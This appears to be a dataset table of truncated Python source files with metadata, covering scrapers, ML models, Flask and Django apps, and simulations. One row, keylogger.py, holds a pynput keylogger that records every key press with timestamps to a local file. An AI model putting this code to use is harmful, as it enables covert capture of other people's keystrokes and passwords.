seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
443778299 | # Copyright (c) 2015 by the parties listed in the AUTHORS file.
# All rights reserved. Use of this source code is governed by
# a BSD-style license that can be found in the LICENSE file.
import os
if 'TOAST_NO_MPI' in os.environ.keys():
from . import fakempi as MPI
else:
from mpi4py import MPI
import unit... | null | toast/dist.py | dist.py | py | 12,926 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.environ.keys",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "os.environ",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "mpi4py.MPI.COMM_WORLD",
"line_number": 36,
"usage_type": "attribute"
},
{
"api_name": "mpi4py.MPI",... |
483734626 | from bs4 import BeautifulSoup
import requests
import time
from random import randint
def scrape_news_summaries(s):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
time.sleep(randint(0, 2)) # relax and ... | null | scraper/app.py | app.py | py | 1,184 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "time.sleep",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "random.randint",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_num... |
84291439 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
import random
import os
import importlib
import numpy as np
import tensorflow as tf
import texar as tx
from ctrl_gen_model_bilstm import CtrlGenModel
flags = tf.flags
flags.DEFINE_string('config', ... | null | ag_news/main_ae.py | main_ae.py | py | 7,261 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "tensorflow.flags",
"line_number": 14,
"usage_type": "attribute"
},
{
"api_name": "importlib.import_module",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "os.environ",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "os.envi... |
154952744 | import torch.nn as nn
import torch.nn.functional as F
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.prep = nn.Sequential(
nn.Conv2d(in_channels=3, out_channels=64, kernel_size=3, padding=1, bias=False),
nn.BatchNorm2d(64),
nn.ReLU(... | null | S12/PartA/models/A11.py | A11.py | py | 2,380 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "torch.nn.Module",
"line_number": 5,
"usage_type": "attribute"
},
{
"api_name": "torch.nn",
"line_number": 5,
"usage_type": "name"
},
{
"api_name": "torch.nn.Sequential",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "torch.nn",
"line_... |
597068522 | from __future__ import print_function
import os
import json
import argparse
import numpy as np
import torch
import torch.nn as nn
import logging
import time
from multiprocessing import Process
from lib.dataset.kitti_dataset_raw_data import KittiDataset, KittiDataloader
from lib.dataset.kitti_util impor... | null | tools/test.py | test.py | py | 7,967 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "os.path.exists",
"line_number": 57,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 57,
"usage_type": "attribute"
},
{
"api_name": "json.load",
"... |
279548722 | import datetime
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
global keys
keys.append(key)
date = datetime.datetime.now()
print(f"{date} {key} pressed.")
write_file(keys)
def write_file(keys):
date = datetime.datetime.now()
with open("keys.txt"... | null | keylogger.py | keylogger.py | py | 604 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "datetime.datetime.now",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "datetime.datetime.now",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "date... |
574917852 | import pandas as pd
import numpy as np
from quant.stock.stock import Stock
from quant.stock.date import Date
from quant.stock.stock_factor_operate import StockFactorOperate
def GrossProfitTTMMarketValue(beg_date, end_date):
"""
因子说明: 毛利润TTM/总市值
披露日期 为 同一披露财报
"""
# param
#####################... | null | project/stock_project/alpha_model/alpha_factor/GrossProfitTTMMarketValue.py | GrossProfitTTMMarketValue.py | py | 1,910 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "quant.stock.stock.Stock",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "quant.stock.stock.Stock",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "quant.stock.stock.Stock",
"line_number": 24,
"usage_type": "call"
},
{
"api_name"... |
179610564 | # -*- coding: utf-8 -*-
# python 2 & 3
from __future__ import print_function, division, absolute_import
from pprint import pprint
import numpy as np
from nltk.corpus import movie_reviews
from sklearn import cross_validation
from sklearn.svm import SVC
from sklearn.naive_bayes import MultinomialNB
from sklearn.featu... | null | peteryuan/sentiment_classification.py | sentiment_classification.py | py | 2,815 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "nltk.corpus.movie_reviews.fileids",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "nltk.corpus.movie_reviews",
"line_number": 29,
"usage_type": "name"
},
{
"api_name": "nltk.corpus.movie_reviews.fileids",
"line_number": 30,
"usage_type": "call"
... |
389458831 | # -*- coding: utf-8 -*-
import random
import pygame
import os
from time import sleep
import math
pygame.init()
gray = (200,200,200) #RGB
white = (255,255,255)
black = (0,0,0)
red = (150,0,0)
green = (0,150,0)
blue = (0,0,175)
Width = 960
Height = 720
l = min(Width,Height) #Largo de que de la malla en display
x = (Widt... | null | programas varios/trabajos python/micha/simulacion gravitacional/simulacion gravitacional.py | simulacion gravitacional.py | py | 6,374 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pygame.init",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "os.name",
"line_number": 26,
"usage_type": "attribute"
},
{
"api_name": "math.sqrt",
"line_number": 38,
... |
198538004 | import json
import requests
class SpotifyConnection:
def __init__(self, client_id, client_secret):
# We need our program to request access to spotify
AUTH_URL = 'https://accounts.spotify.com/api/token' # Url that provides access
AUTH_PARAM = { # The parameters required to get access
... | null | SpotifyWrapper.py | SpotifyWrapper.py | py | 2,470 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "requests.post",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 44,
"usage_type": "call"
}
] |
552941382 | import webapp2
import cgi
import urllib
from google.appengine.api import urlfetch
class MainHandler(webapp2.RequestHandler):
def get(self):
INDEX_HTML = open('index.html').read()
self.response.write(INDEX_HTML)
class Hello(webapp2.RequestHandler):
def get(self):
self.redirect("/")
def post(se... | null | main.py | main.py | py | 1,549 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "webapp2.RequestHandler",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "webapp2.RequestHandler",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "cgi.escape",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "url... |
648859587 | # 不想混吃等死
import pandas as pd
from matplotlib import pyplot as plt
# trying to get data from sheet
df01 = pd.read_csv('weight.csv')
df02 = pd.read_csv('sample_weight.csv')
arr1 = arr2 = []
for each1 in df01.values:
arr1.append(each1[0])
for each2 in df02.values:
arr2.append(each2[0])
# range - sets the minim... | null | datacamp_tutorial/data_science/hist.py | hist.py | py | 689 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pandas.read_csv",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.hist",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplo... |
239008652 | from itertools import permutations
import itertools
def findsubsets(s, n):
return list(itertools.combinations(s, n))
def powerset(s):
x = len(s)
for i in range(1 << x):
for j in range(x):
if i & (1<< j):
print(s[j])
# print([s[j] for j in range(x) if (i & ... | null | inclass1.py | inclass1.py | py | 1,476 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "itertools.combinations",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "itertools.permutations",
"line_number": 16,
"usage_type": "call"
}
] |
324809795 | import os
import hmac
import logging
import webapp2
import jinja2
from google.appengine.api import memcache
from datetime import datetime, timedelta
from User import *
from Post import *
from Comment import *
from Comment2 import *
from NewsArticle import *
from Score import *
# Set the template folder
template_dir... | null | BaseHandler.py | BaseHandler.py | py | 6,370 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.path.join",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 19,
"usage_type": "attribute"
},
{
"api_name": "os.path.dirname",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "jinja2.Environment",
"l... |
48804709 | #!/bin/python3
points = [(1,2), (3,4), (5,6), (7,8)]
import math
from functools import partial
def distance(p1, p2):
x1, y1 = p1
x2, y2 = p2
return math.hypot(x2- x1, y2 -y1)
pt = (4, 3)
points.sort(key=partial(distance, pt))
print(points)
| null | partial.py | partial.py | py | 254 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "math.hypot",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "functools.partial",
"line_number": 12,
"usage_type": "call"
}
] |
57513135 | from flask import Flask, render_template, request
import praw
import json
import io
# from praw.models import MoreComments
import simplejson
import django
app = Flask(__name__)
@app.route('/')
def function():
return render_template('index.html')
@app.route('/handle_data', methods=['POST', 'GET'])
def handle_d... | null | d3/demo.py | demo.py | py | 7,481 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "flask.Flask",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "flask.render_template",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "flask.request.method",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "flask.req... |
248943109 | from rest_framework.decorators import api_view
from rest_framework.generics import get_object_or_404
from rest_framework.response import Response
from items.models import Item
@api_view(http_method_names=['GET'])
def get_item_view(request, pk):
item = get_object_or_404(Item, id=pk)
return Response({
... | null | items/views.py | views.py | py | 536 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "rest_framework.generics.get_object_or_404",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "items.models.Item",
"line_number": 10,
"usage_type": "argument"
},
{
"api_name": "rest_framework.response.Response",
"line_number": 11,
"usage_type": "call... |
367626985 | import requests
from urllib3 import encode_multipart_formdata
upload_url = 'http://localhost:8089/api/uploadFile.do'
print('upload url:', upload_url)
# 打开文件
filePath = 'E:\\pythonProject\\paperCheck\\test.pdf'
with open(filePath, 'rb') as f:
form_data = {
'p1': '1',
'p2': '2',
'p2': '3',
... | null | python_futher/fileUpload/fileUpload2.py | fileUpload2.py | py | 1,024 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "urllib3.encode_multipart_formdata",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "requests.post",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "requests.request",
"line_number": 23,
"usage_type": "call"
}
] |
239762513 | # train.py
import dgl
import dgl.function as fn
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data import DataLoader
from SSTdataset import trainset, tiny_sst, SSTBatch
from treelstm import TreeLSTM
device = torch.device('cpu')
# hyper parameters
x_size = 256
h_size = 256
dropo... | null | TreeLSTM/train.py | train.py | py | 1,971 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "torch.device",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "treelstm.TreeLSTM",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "SSTdataset.trainset.num_vocabs",
"line_number": 24,
"usage_type": "attribute"
},
{
"api_name": "SS... |
100227427 | import requests
import os
import random
import tempfile
def get_comics_random_number():
url = 'https://xkcd.com/info.0.json'
response = requests.get(url)
response.raise_for_status()
unpacked_response = response.json()
total_amount = unpacked_response['num']
random_number = random.randint(1, t... | null | poster.py | poster.py | py | 3,963 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "requests.get",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "random.randint",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_num... |
24609333 | """
demo01_fi.py 特征重要性
"""
import sklearn.datasets as sd
import sklearn.utils as su
import sklearn.tree as st
import sklearn.metrics as sm
import sklearn.ensemble as se
import matplotlib.pyplot as mp
import numpy as np
# 加载数据
boston = sd.load_boston()
print(boston.data.shape) # 样本输入
print(boston.target... | null | aid1812/day3/demo01_fi.py | demo01_fi.py | py | 2,424 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "sklearn.datasets.load_boston",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "sklearn.datasets",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "sklearn.utils.shuffle",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "s... |
459983635 | #!/usr/bin/env python
# coding: utf-8
from os import path
import matplotlib.pyplot as plt
import os
import imageio
# jieba.load_userdict("txt\userdict.txt")
# add userdict by load_userdict()
from wordcloud import WordCloud, ImageColorGenerator
import jieba
jieba.enable_parallel(4)
# Setting up parallel processes :4 ,... | null | 封神演义出场排名.py | 封神演义出场排名.py | py | 2,767 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "jieba.enable_parallel",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path.dirname",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "os.getcwd",
"line_n... |
360753083 | #!/usr/bin/env python3
# stress-mediated volumetric growth of a block (compressible formulation, nu = 0.49)
import ambit
import sys, traceback
import numpy as np
from pathlib import Path
import results_check
def main():
basepath = str(Path(__file__).parent.absolute())
IO_PARAMS = {'problem_t... | null | testing/solid_growth_volstressmandel.py | solid_growth_volstressmandel.py | py | 3,976 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pathlib.Path",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "ambit.Ambit",
"line_number": 67,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 77,
"usage_type": "call"
},
{
"api_name": "numpy.zeros",
"line_number":... |
492736441 | import random
import time
import threading
import logging
import datetime as dt
from ib.connection import IBConnection
from ib.utils import get_contract_ticker, get_contract_details
logging.basicConfig(level=logging.INFO, format='%(asctime)s: %(message)s')
log = logging.getLogger('IBConnection')
class IBWebAccountHan... | null | web/ib_web_account_handler.py | ib_web_account_handler.py | py | 5,238 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "logging.basicConfig",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "logging.INFO",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "logging.getLogger",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "ib.connection.I... |
140455429 | import os
import scipy.io as si
import json
import datetime
import numpy as np
# crop datasets, you should install autocrop
# pip install autocrop
# https://github.com/leblancfg/autocrop
def crop():
for x in range(0, 100):
IMG_PATH = 'dataset/wiki_crop/' + str(x).zfill(2)
crop_path = IMG_PATH + '/... | null | preprocessing.py | preprocessing.py | py | 2,961 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.path.exists",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 16,
"usage_type": "attribute"
},
{
"api_name": "os.makedirs",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number"... |
12583769 | from datetime import datetime
import re
from aws_operations.aws_storage import aws_storage_operations
from application_logging.aws_logging import aws_logger
class validate_training_data:
"""
This class shall be used for handling all the validation done on the training data.
Written By: Prafful ... | null | data_validation/training_data_validation.py | training_data_validation.py | py | 12,715 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "aws_operations.aws_storage",
"line_number": 22,
"usage_type": "name"
},
{
"api_name": "aws_operations.aws_storage",
"line_number": 23,
"usage_type": "name"
},
{
"api_name": "aws_operations.aws_storage.aws_storage_operations",
"line_number": 25,
"usage_type"... |
491230361 |
# Author: Donny
import math
import time
import sys
import multiprocessing as mp
import numpy as np
class DecisionStumpClassifier:
"""A decision stump classifier
Parameters
----------
steps_ : int, optional
The steps to train on each feature.
"""
def __init__(self, steps_=400, max_pa... | null | boostedcascade/adaboost/decisionstump.py | decisionstump.py | py | 11,575 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "numpy.ndarray",
"line_number": 61,
"usage_type": "attribute"
},
{
"api_name": "numpy.array",
"line_number": 61,
"usage_type": "call"
},
{
"api_name": "numpy.ndarray",
"line_number": 62,
"usage_type": "attribute"
},
{
"api_name": "numpy.array",
"... |
210870830 | import json
from functools import update_wrapper
from datetime import timedelta
import flask
from flask import make_response, request, current_app
from pymongo import MongoClient
import server.my_ast as AST
import server.my_np_func as np_func
app = flask.Flask(__name__)
# Flash official snippet to handling CORS
def... | null | main.py | main.py | py | 4,535 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "flask.Flask",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "datetime.timedelta",
"line_number": 23,
"usage_type": "argument"
},
{
"api_name": "flask.request.method",
"line_number": 35,
"usage_type": "attribute"
},
{
"api_name": "flask.re... |
147841981 | """Read nested json file from the cube
"""
import os
import json
import itertools
import copy
import logging
class File:
def get_metadata(self):
return {k:v for k,v in vars(self).items() if k != 'data' and not k.startswith('_')}
# ------------------
# back compatibility
# ------------------
... | null | isipedia/jsonfile.py | jsonfile.py | py | 9,054 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "copy.copy",
"line_number": 47,
"usage_type": "call"
},
{
"api_name": "itertools.product",
"line_number": 56,
"usage_type": "call"
},
{
"api_name": "copy.deepcopy",
"line_number": 95,
"usage_type": "call"
},
{
"api_name": "numpy.empty",
"line_num... |
251371753 | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
import torch
import torchvision
import torchvision.datasets as dset
import torchvision.transforms as transforms
from torch.utils.data import DataLoader, Dataset
import matplotlib.pyplot as plt
import torchvision.utils
import numpy as np
import random
from PIL import I... | null | p1a.py | p1a.py | py | 9,501 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "torch.utils.data.Dataset",
"line_number": 39,
"usage_type": "name"
},
{
"api_name": "PIL.Image.open",
"line_number": 51,
"usage_type": "call"
},
{
"api_name": "PIL.Image",
"line_number": 51,
"usage_type": "name"
},
{
"api_name": "PIL.Image.open",
... |
434925683 | ### Rock, Paper, Scissors
# 함수, 모듈 준비
from keras.utils import np_utils
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D
from keras.callbacks import ModelCheckpoint,EarlyStopping
from keras.preprocessing import image
from sklearn.model_selection import train_tes... | null | Project03/RockPaperScissors2.py | RockPaperScissors2.py | py | 5,725 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "os.path.join",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 23,
"usage_type": "attribute"
},
{
"api_name": "glob.glob",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "glob.glob",
"line_number": 27... |
610994692 | import base64
from collections import OrderedDict
import logging
from carddirector.cd_api.exceptions import ApiValidationError
from carddirector.cd_api.messages.CardDirectorRequest_pb2 import CardDirectorRequest
from carddirector.cd_api.messages.CardDirectorResponse_pb2 import CardDirectorResponse
from carddirector.cd_... | null | apps/carddirector/cd_api/converters.py | converters.py | py | 8,660 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "logging.getLogger",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "carddirector.cd_api.messages.definitions.FULL_REQUEST_DEFINITION",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "carddirector.cd_api.messages.CardDirectorRequest_pb2.CardDirec... |
523508521 | #Prende in input un numero intero che indica la coppia (0 a 51, descritte in tableCouple.csv) e permette di visualizzare
# nove grafici a barre relativi alle percentuali di clustering ottenute dalla coppia in analisi tra i vari
# algoritmi di clustering. I risultati che visualizza sono prelevati della cartella Percenta... | null | AnalisysScript/multipleBar2.py | multipleBar2.py | py | 7,475 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "csv.reader",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "sys.argv",
"line_number": 57,
"usage_type": "attribute"
},
{
"api_name": "csv.reader",
"line_number": 66,
"usage_type": "call"
},
{
"api_name": "os.listdir",
"line_number": 9... |
562478097 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: Yizhong
# created_at: 04/24/2018 8:11 PM
import os
import ujson as json
import time
import logging
import tensorflow as tf
from official_evaluate import exact_match_score, f1_score, metric_max_over_ground_truths
class BaseModel(object):
def __... | null | src/base_model.py | base_model.py | py | 11,603 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "logging.getLogger",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "tensorflow.ConfigProto",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "tensorflow.Session",
"line_number": 47,
"usage_type": "call"
},
{
"api_name": "time.time... |
804423 | """
Catalyst Series 3
[Catalyst]---->[Catalyst3]---->[<ProductLine class>]
^
|
+--- Mid-Tier class objects.
NOTE: These class objects should normally be used only for overriding the methods of the parent class.
The class instances available here are for d... | null | cat3/common/catalyst3.py | catalyst3.py | py | 32,537 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "sys.modules",
"line_number": 38,
"usage_type": "attribute"
},
{
"api_name": "logging.getLogger",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 40,
"usage_type": "attribute"
},
{
"api_name": "logging.StreamH... |
567048827 | from . import blue
#from app import db
from flask import render_template
from .models import Class_d,db
@blue.route('/index/')
def index():
return 'hello'
@blue.route('/createdb/')
def create_db():
db.create_all()
return 'ojbk'
@blue.route('/adddb/')
def app_db():
c=Class_d('ojbk')
#c.username=... | null | flask_model/APP/views.py | views.py | py | 601 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "models.db.create_all",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "models.db",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "models.Class_d",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "models.db.session.add",... |
451583 | from django.urls import path
from . import views
app_name = "articles"
urlpatterns = [
# example: /articles/
path("", views.IndexView.as_view(), name="index"),
# example: /articles/0
path("<int:pk>/", views.ArticleView.as_view(), name="article"),
# exammple: /articles/0/comment
path('<int:arti... | null | articles/urls.py | urls.py | py | 373 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "django.urls.path",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "django.urls.path",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "django.urls.path",
"line_number": 12,
"usage_type": "call"
}
] |
181037615 | from tkinter import *
import sqlite3
from tkcalendar import DateEntry
from tkinter import ttk
from PIL import ImageTk,Image
def addevent():
pass
global child4
global cal
global abt
child4 = Tk()
child4.geometry("400x400")
myimg = ImageTk.PhotoImage(Image.open("login.jpg"))
mylabel = Label(child4, image=myimg)
myla... | null | can.py | can.py | py | 694 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "PIL.ImageTk.PhotoImage",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "PIL.ImageTk",
"line_number": 14,
"usage_type": "name"
},
{
"api_name": "PIL.Image.open",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "PIL.Image",
"li... |
330755215 | # import the necessary packages
from collections import deque
import numpy as np
import argparse
import imutils
import cv2
import time
import os
from threading import Thread
global move, t
move = 0
t = 0
# construct the argument parse and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-v", "--vid... | null | TEST/Object-tracking-test.py | Object-tracking-test.py | py | 6,185 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "argparse.ArgumentParser",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "os.system",
"line_number": 41,
"usage_type": "call"
},
{
"api_name": "collections.deque",
"line_number": 72,
"usage_type": "call"
},
{
"api_name": "cv2.VideoCapture"... |
163481997 | import json
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt
@csrf_exempt
def task_1_view(request, *args, **kwargs):
if request.method == 'POST':
# print(request.body) проверка на то что данные приходят
if request.body:
numbers = json.loads(requ... | null | source/api_v1/views.py | views.py | py | 1,797 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "json.loads",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "django.http.JsonResponse",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "django.http.JsonResponse",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "django.h... |
390558431 | import time
from datetime import datetime
from aiohttp.web import middleware
from typing import Awaitable, Callable # flake8: noqa
from aiohttp.web import HTTPException, Request, Application, Response
from .handlers import APIHandler
from .stats import ModelStats, RequestTiming
from .consts import MODELS_KEY
Handle... | null | mlserve/middleware.py | middleware.py | py | 1,319 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "typing.Callable",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "aiohttp.web.Request",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "typing.Awaitable",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "aiohttp.web.Resp... |
372487653 | from pyspark.context import SparkContext
from pyspark.sql import HiveContext
#from SparkJob import *
#from log_parser import *
import string
import os
import random
import sys
import traceback
import re
import operator
import time
import csv
from pyspark.sql.functions import udf, size, col
from string imp... | null | scripts/spark_df_load_benchmark.py | spark_df_load_benchmark.py | py | 2,490 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pyspark.context.SparkContext",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "pyspark.sql.HiveContext",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "time.time",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "time.t... |
646103677 | #!/usr/bin/python3
""" create tgz from /web_static"""
from fabric.api import local
from datetime import datetime
from os.path import isdir
def do_pack():
""" Package """
datu = 'web_static_' + datetime.strftime(datetime.now(), "%Y%m%d%I%M%S")
tgz = datu + '.tgz'
local('mkdir -p versions')
dire =... | null | 1-pack_web_static.py | 1-pack_web_static.py | py | 480 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "datetime.datetime.strftime",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "datetime.datetime.now",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "fa... |
285634039 | #Creat by Jackson 01/07/2020
import pandas as pd
import numpy as np
#Splitthe datasetinto train and test data
from sklearn.model_selection import train_test_split
#Building and training the model
from sklearn.neighbors import KNeighborsClassifier
#k-Fold Cross-Validation
from sklearn.model_selection import ... | null | KNN/KNN Cross Validation.py | KNN Cross Validation.py | py | 1,840 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "pandas.read_csv",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "sklearn.model_selection.train_test_split",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "sklearn.neighbors.KNeighborsClassifier",
"line_number": 22,
"usage_type": "call"... |
110400160 | from typing import Callable, Dict, Optional
from qtpy.QtCore import QEvent
from qtpy.QtWidgets import QGridLayout, QLabel, QListWidget, QPlainTextEdit, QPushButton, QWidget
from PartSeg._roi_mask.stack_settings import StackSettings
from PartSegCore.algorithm_describe_base import ROIExtractionProfile
from PartSegCore.... | null | package/PartSeg/_roi_mask/segmentation_info_dialog.py | segmentation_info_dialog.py | py | 3,518 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "qtpy.QtWidgets.QWidget",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "PartSeg._roi_mask.stack_settings.StackSettings",
"line_number": 12,
"usage_type": "name"
},
{
"api_name": "typing.Callable",
"line_number": 12,
"usage_type": "name"
},
{
... |
57370582 | from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_required
from shopapp.forms import UserForm, UserFormForEdit, ProductForm
from shopapp.models import Product
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login
def home(request)... | null | shopapp/views.py | views.py | py | 4,010 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "django.shortcuts.redirect",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "shopapp.forms.UserFormForEdit",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "shopapp.forms.UserFormForEdit",
"line_number": 18,
"usage_type": "call"
},
{
... |
587245034 | # -*- coding: utf-8 -*-
from kivy.config import Config
import sqlite3
import os
import sys
from kivy.clock import Clock
from kivy.app import App
from kivymd.app import MDApp
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.label import Label
from kivy.properties import NumericProperty, ObjectProperty, StringPrope... | null | main/pesaje/pesaje_general.py | pesaje_general.py | py | 9,810 | python | en | code | null | code-starcoder2 | 76 | [
{
"api_name": "kivy.lang.Builder.load_file",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "kivy.lang.Builder",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "kivy.config.Config.set",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "... |
439121985 | import numpy as np
import ising_model as I
import matplotlib.pyplot as plt
import time
import seaborn as sns
sns.set_style('white')
sns.set_style('ticks')
